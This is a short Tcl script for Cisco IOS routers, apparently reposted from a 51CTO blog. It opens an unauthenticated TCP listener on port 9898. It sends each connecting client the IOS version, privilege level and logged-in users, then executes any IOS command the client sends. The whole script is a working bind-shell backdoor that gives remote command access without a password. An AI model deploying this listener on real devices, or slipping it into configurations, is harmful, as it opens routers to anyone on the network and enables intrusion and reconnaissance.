===code===
#
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "====================================="
puts $sock " Cisco TclShell "
puts $sock "====================================="
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
set response [exec "sh users"]
puts $sock $response
puts $sock " "
puts $sock "Enter IOS command:"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 9898
set sh [socket -server callback $port]
vwait var
close $sh
===code===
|
本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/551862,如需转载请自行联系原作者